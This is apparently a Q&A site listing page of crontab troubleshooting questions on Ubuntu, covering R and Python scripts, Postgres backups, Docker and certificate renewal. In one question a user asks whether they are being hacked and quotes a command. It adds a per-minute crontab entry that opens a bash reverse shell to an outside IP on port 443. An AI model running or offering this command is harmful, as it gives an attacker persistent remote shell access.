All Questions
821
questions
-1
votes
0
answers
11
views
Crontab to run on specific dates in specific months
I'm using crontab via DigitalOcean to run scheduled crons and I've got a number set up and working correctly. However, I'm in need of running one with the following schedule:
8am on 1st, 7th, 10th ...
- 1,084
0
votes
0
answers
25
views
Unable to start R script from crontab - Ubuntu 22.04.4 LTS
I tried to start R script from crontab on ubuntu 22.04.4 LTS but script didnt start
my code (edited by nano crontab -e)
gives
50 9 * * * Rscript 1.r
crontab edited without nano crontab -e
gives
no ...
0
votes
0
answers
30
views
Running Python Script through Crontab doesn't work
So I have written a script to summarize a few newsletters and send them to me in Telegram. The script itself works perfectly. Now I tried to run this script every morning at 7 via crontab on a Ubunutu ...
- 19
0
votes
1
answer
25
views
Switch user before running cmd ubuntu [duplicate]
I'm trying to run a cron job in ubuntu server to backup my database every day.
so Im using this cmd:
sudo -i -u postgres && pg_dump -Fc DbName > DbName_backup.dump && ... && ...
- 7,275
0
votes
0
answers
26
views
Crontab created by www-data user not working
I have a python that creates a cron job in order to call another python script, but it's not working properly.
In the first python I have:
from crontab import CronTab
cron = CronTab(user=True)
job = ...
1
vote
0
answers
49
views
Python & Django web app - auto emails not sending - troubleshooting Cron
I have a webapp running on an ubunti vps.
Cron is scheduled to run a task evry sunday morning, however, I found it ran once and not again the next week. I have been reading about cron and how to ...
- 13
0
votes
0
answers
55
views
Crontab Opens Headless Terminal When Starting A Minecraft Server
I'm using crontab on Ubuntu 22.04.3 LTS to run a Minecraft server at 7 am everyday,the problem is that crontab runs the command to run the Minecraft server but without opening a visible terminal.
If ...
0
votes
0
answers
52
views
Selenium server couldn't be started - Running Rscript
I'm using Ubuntu 20.04 to run Rstudio Server.
I installed Selenium and all the others drivers to run the RSelenium package in the Rstudio-Server. It worked very well.
Now i'm trying to run the Rscript ...
1
vote
0
answers
25
views
Cannot find module './index.ts' ts-node when launching two scripts simultaniously
I have two scripts that I both launch on my VPS with a .sh script that runs ts-node if the js script is not running:
#!/bin/sh
PROCESS_NAME_REGEX="process_name"
TS_NODE_EXECUTABLE="./...
- 23
0
votes
0
answers
253
views
Optimal script to copy a Letsencrypt certificate everytime it renews to another directory on Ubuntu server
My letsencrypt certificate renews every 60 days or so and when it does my application crashes which is stored on same server in opt directory
I would like to create a cronjob and/or script which ...
-1
votes
1
answer
116
views
Why does my monthly command in my cron file does not work while daily commands do work?
I am managing a system built by third parts on a Ubuntu OS.
There is a line in a cron file which - every first day of the month at hour 07:00 - should trigger a bash script which calls an ansible ...
- 3,921
0
votes
1
answer
131
views
Am I getting hacked? What does these commands do? [closed]
Consider:
crontab -l | { cat; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/80.78.26.82/443 0>&1'"; } | crontab -
crontab -l | { cat; echo "* * * * * python -c 'import ...
- 19
1
vote
3
answers
5k
views
Create a cron job inside a Docker container to execute a function in run.js file
I have already created a docker-compose.yaml file, Dockerfile and entrypoint.sh file. Dockerfile was used to create a ubuntu container. Inside this ubuntu container, I install Node.js and clone my ...
- 129
0
votes
0
answers
74
views
using ubuntu crontab for postgres 9.1.4, I want to use crontab to delete rows in a local postgres database table every 30 minutes on the same server
using ubuntu crontab for postgres 9.1.4, I want to use crontab to delete rows in a local postgres database table every 30 minutes on the same server.
eg on server 10.10.10.123
I have Postres 9.1.4 ...
-1
votes
2
answers
79
views
Cron jobs created on ubuntu is not working as expected
I have a python file which is created on windows which is also working on ubuntu OS aswell. I have a VPS in hostinger platform where this script should run in daily basis. But triggers on the ...
- 45